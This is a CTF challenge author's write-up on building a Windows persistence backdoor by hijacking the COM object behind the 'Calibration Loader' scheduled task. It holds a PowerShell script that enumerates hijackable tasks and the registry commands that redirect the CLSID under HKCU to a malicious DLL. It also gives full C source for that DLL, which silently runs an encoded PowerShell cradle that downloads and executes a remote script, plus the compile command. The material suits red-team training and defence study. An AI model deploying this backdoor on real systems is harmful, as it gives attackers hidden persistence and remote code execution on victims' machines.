This writeup is more an article about how I created this challenge, than how to solve it on the player’s side.
I really enjoyed creating it, it was like a Red Teaming challenge for me and I tried to make it a little complex for this CTF.
It is inspired by a lesson from the CRTO courses, about post-compromised host persistence.
You can find a very good writeup by @Niceclear from a defensive POV here.
Context:

blackdoor-challenge.zip contains a Windows VM.
Now let’s see how to create this backdoor.
- The first step is to search for hijackable COM objects on the compromised machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
if ($Task.Principal.GroupId -eq "Users")
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
|

Here we’ll choose the “Calibration Loader” task, but a lot of other system tasks could be used (some of them don’t trigger at the same moment).
- Get “Calibration Loader” implementation (by using its CLSID, which is the flag of the 2nd step):
1
2
3
4
5
6
|
PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\MsCtfMonitor.dll
ThreadingModel : Both
|
- Create the necessary registry entries in HKCU and point them to a malicious payload (
C:\Windows\System32\mscms2.dll
, whose hash is the flag for the first step):
1
2
3
|
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{B210D694-C8DF-490D-9576-9E20CDBC20BD}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}" -Name "InprocServer32" -Value "C:\Windows\System32\mscms2.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
- Now we can confirm the backdoor was created:

Code for the DLL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
#include <windows.h>
#include <stdio.h>
void ExecStuff()
{
CHAR command[] = "powershell.exe -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAxAC8AZQB4AHAAbABvAGkAdAAuAHAAcwAxACcAKQA="; //IEX(New-Object Net.WebClient).downloadString('http://192.168.56.1/exploit.ps1')
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (CreateProcessA(
NULL,
command,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
ExecStuff();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
|
Compile on Linux: x86_64-w64-mingw32-gcc -shared -o mscms2.dll backdoor.c -Wall